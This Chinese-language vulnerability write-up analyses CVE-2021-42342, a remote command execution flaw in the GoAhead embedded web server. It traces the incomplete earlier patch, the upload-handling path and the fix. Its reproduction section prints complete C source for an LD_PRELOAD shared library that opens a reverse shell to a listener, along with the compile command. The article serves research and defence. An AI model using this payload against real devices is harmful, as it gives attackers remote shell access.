CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现
2022-1-5 11:13:0 Author: paper.seebug.org(查看原文) 阅读量:41 收藏

作者: 且听安全
原文链接:https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

概述

GoAhead是世界上最受欢迎的微型嵌入式Web服务器。它结构紧凑、安全且易于使用。GoAhead部署在数亿台设备中,是最小嵌入式设备的理想选择。

近日爆出GoAhead存在RCE漏洞,漏洞源于文件上传过滤器处理的不全,当与CGI处理程序一起使用时,可影响环境变量,从而实现RCE。GoAhead曾经爆出过类似的漏洞CVE-2017-17562:

https://www.elttam.com/blog/goahead/#content

经过分析发现此次爆出的新漏洞与CVE-2021-42342类似。漏洞影响版本为:

GoAhead web-server=4.x
5.x<=GoAhead web-server<5.1.5

GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用,所以该漏洞的影响范围非常广泛。

补丁对比分析

在开始真正漏洞分析之前,我们首先回顾一下GoAhead针对CVE-2017-17562的修复方式。主要修复有2个。第1个在cgi.c#cgiHandler处理函数中:

乍一看当参数以LD_开头将会被忽略,所以LD_PRELOAD无法使用。但是深入分析我们发现这里补丁犯了一个低级错误。这里vp虽然来源于s->name.value.string

vp = strim(s->name.value.string, 0, WEBS_TRIM_START);

看下strim函数定义:

vp将永远为0,所以上面通过if过滤LD_PRELOAD参数的过程是没有任何意义的。接着往下走,GoAhead会将POST请求的表单变量使用ME_GOAHEAD_CGI_VAR_PREFIX作为前缀,通过函数sfmt进行字符串格式化以保证LD_PRELOAD不会被劫持。看起来修复的很完善,但是我们看这里进入第183行处理的前提条件是s->arg的值不为0(初始化状态为0)。

第2处修改位于http.c#addFormVars函数:

这里将arg赋值为1,正好可以满足上面if判断的条件。

HTTP请求处理分析

下面我们开始从GoAhead处理HTTP请求进行简单分析。

进程初始化分析

GoAhead进程启动后,会调用http.c#websServer函数完成配置初始化处理:

函数websOpen会尝试解析route.txt,并根据配置选择启动的模块:

websDefineHandler函数用来定义处理不同请求类型的回调函数,比如上面定义CGI的回调处理函数为cgiHandler,前面补丁对比分析时讲过这个函数会对参数进行加前缀处理。

回到http.c#websServer,第3426行将调用websListen函数启动HTTP服务,进入该函数:

第644行定义了当有HTTP请求来到时,将回调websAccept函数进行处理。

第702行将调用websAlloc为每一个请求分配单独的Webs结构体空间:

initWebs函数完成对Webs结构体初始化的工作:

下面我们简要分析一下GoAhead对一次HTTP请求进行处理的流程。GoAhead将HTTP请求分为4个状态:

对于每一个HTTP请求,GoAhead以事件形式通过readEvent函数进行处理:

进入websPump函数:

WEBS_BEGIN

Accept阶段(即WEBS_BEGIN),调用函数parseIncoming

进入parseHeaders对HTTP头进行检查与解析:

?根据content-type的不同类型,完成对wp->flags的赋值。

WEBS_CONTENT

当进入参数处理状态时(即WEBS_CONTENT),websPump将调用processContent进行处理:

这里重点讲下文件上传状态WEBS_UPLOAD参数处理的过程。在upload.c中,默认定义上传文件保存目录为tmp

processUploadHeader中构造此次HTTP请求结构体的uploadTmp值:

因此,websTempFile默认将生成一个/tmp/tmp-0.tmp的临时文件名称,数字是websTempFile中根据count++生成的。然后打开临时文件,并将文件句柄赋值给wp->upfd。在processContentData处理上传文件时,将调用writeToFile写入文件:

最终将文件写入了wp->upfd,也就是保存到了创建的临时文件中。

WEBS_READY

websPump将调用websRunRequest进行处理:

在这里有两个函数websSetQueryVarswebsSetFormVars需要注意:

这2个函数都调用了addFormVars,在前面对CVE-2017-17562漏洞补丁进行分析的过程中提到过这个函数,addFormVars处理的最后将sp->arg赋值为1,使得cgi.c#cgiHandler处理过程中会对请求参数进行重命名,从而修复了CVE-2017-17562漏洞。

漏洞分析

有了前面对CVE-2017-17562漏洞修复的补丁对比和HTTP请求原理的分析基础,下面的漏洞分析过程就显得非常简单了。

WEBS_READY提到,GoAhead对POST请求和GET请求提交的参数都会调用addFormVars函数进行处理,将sp->arg赋值为1,从而使得cgi.c#cgiHandler重命名环境变量,但是我们可以看到POST请求调用addFormVars的前提是wp-flags取值为WEB_FORM,回顾WEBS_BEGIN处理过程,当content-typemultipart/form-data时,wp-flags将赋值为WEBS_UPLOAD,也就是说,如果HTTP请求为文件上传类型时,参数将不会通过addFormVars处理,此时s->arg取值仍然为0,从而在cgi.c#cgiHandler中将进入如下分支:

后面漏洞触发的原理与CVE-2017-17562就是一样的了。

漏洞复现

反弹shell的恶意函数:

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="127.0.0.1";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    //connect to the server
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //execute /bin/sh to get a shell
    execve("/bin/bash", 0, 0);
}

编译:

gcc hack.c -fPIC -shared -o hack.so

修复方式

在新版本中改动的代码有不少,最核心的变化在upload.c#processContentData函数中:

对文件上传处理同样加入了sp->arg = 1的处理。同时在cgi.c#cgiHandler中,加入了黑名单处理机制,并且调整了sstarts判断代码,修复了低级错误:


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1808/



文章来源: http://paper.seebug.org/1808/
如有侵权请联系:admin#unsafe.sh